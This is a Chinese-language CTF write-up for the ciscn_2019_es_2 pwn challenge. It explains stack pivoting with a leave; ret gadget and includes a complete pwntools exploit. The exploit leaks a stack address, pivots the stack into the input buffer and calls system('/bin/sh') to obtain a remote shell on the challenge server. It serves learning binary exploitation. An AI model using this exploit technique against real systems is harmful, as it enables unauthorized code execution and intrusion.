check一下文件

放ida查看这个重要的函数

看起来很像栈溢出是吧,但是不是,如果要使用栈溢出的话,最多就正好可以把ebp和ret的覆盖掉,不够溢出的长度
因此这里要用到栈迁移(我也是第一次做到)
首先介绍一下栈迁移:
栈迁移
它的核心思想就是,通过修改栈指针(ebp/rbp)的值,将栈迁移到我们可以控制的一个内存区域,通常是堆或者.bss段,从而获得更大的空间来布置ROP链
那么当我们遇到哪些限制时可以尝试一下栈迁移呢?
- 溢出空间太小,无法放下完整的ROP链
- 栈地址随机化(ASLR)使得难以精确定位shellcode
- 栈不可执行(NX)阻止了直接执行栈上的代码
实现方法
-
基本步骤
栈迁移通常需要以下步骤:
找到一个可控制的内存区域(如堆、.bss段)
将ROP链布置在这个区域
找到控制栈指针的gadget(如leave; ret)
通过溢出修改栈指针指向新区域 -
关键gadget
最常用的栈迁移gadget是leave; ret,因为:
leave指令等同于mov esp, ebp; pop ebp
ret指令等同于pop eip
在x86-64架构中,对应的指令是mov rsp, rbp; pop rbp; ret
下面就用栈迁移解决一下这道题
先看看有没有后门函数

好吧,虽然没有,但是有system函数,到后面构造的时候可以与写入的/bin/sh调用它,
然后,在这道题中,没有可供我们使用的.bss段,因此,我们只有一个可控的区域,那就是s
显然,ebp(先成为ebp1)所指向的内存是上一次压入的ebp(成为ebp0吧),我们可以使用第一次的read和printf把内容打印出来,但是打印出来之后ebp0我们就无法去使用,因为我们只知道ebp1到s的距离是0x28,但是不知道ebp0到s的距离
我们用gdb调试一下吧
在nop处下断点,这样便于观察


我们可以看到esp地址为0xffffce30,ebp1地址为0xffffce58,而ebp1指向的ebp0的地址为0xffffce68
由此,我们可以得到ebp0到s的距离为0x68-0x30=0x38,OK了,我们就可以使用这个可控的s了
之后,要进行栈迁移,还要知道leave;ret的值

OK,现在我们具备了前提条件,可以编写exp了
EXP
from pwn import *
from LibcSearcher import LibcSearcher
io=remote('node5.buuoj.cn',26650)
# context(arch='amd64',os='linux',log_level = 'debug')
context(arch='i386',os='linux',log_level = 'debug')
# io=process('./ciscn_2019_es_2')
elf=ELF('./ciscn_2019_es_2')
payload='a'*0x27+'b'
io.send(payload)
io.recvuntil('b')
ebp=u32(io.recv(4)) # 0xffb24218
s_addr=ebp-0x38
leave_ret=0x08048562
system_addr=elf.sym['system']
payload2=b'aaaa'+p32(system_addr)+b'read'+p32(s_addr+0x10)+b'/bin/sh'
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s_addr)+p32(leave_ret)
io.sendlineafter("\n",payload2)
io.interactive()
首先解释一下下面这一段:
payload='a'*0x27+'b'
io.send(payload)
io.recvuntil('b')
ebp=u32(io.recv(4)) # 0xffb24218
s_addr=ebp-0x38
这一段的主要目的是得到了s的地址(也就是泄漏栈地址),也就是ebp0得到s的地址,这将是新的栈地址
然后看下面一段
payload2=b'aaaa'+p32(system_addr)+b'read'+p32(s_addr+0x10)+b'/bin/sh'
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s_addr)+p32(leave_ret)
io.sendlineafter("\n",payload2)
这一段就是栈迁移的准备
获取leave; ret gadget的地址和system函数的地址
构造ROP链:
'aaaa':填充(会被pop ebp消耗)
system_addr:system函数地址
'read':伪造的返回地址(实际不会使用)
s_addr+0x10:system的参数地址(指向'/bin/sh')
'/bin/sh':字符串参数
用NULL字节填充到0x28长度
最后添加:
s_addr:新的EBP值(指向我们控制的栈区域)
leave_ret:迁移栈的gadget地址
最后得到结果

第一次做栈迁移,若有不足,还请各位大佬多多指教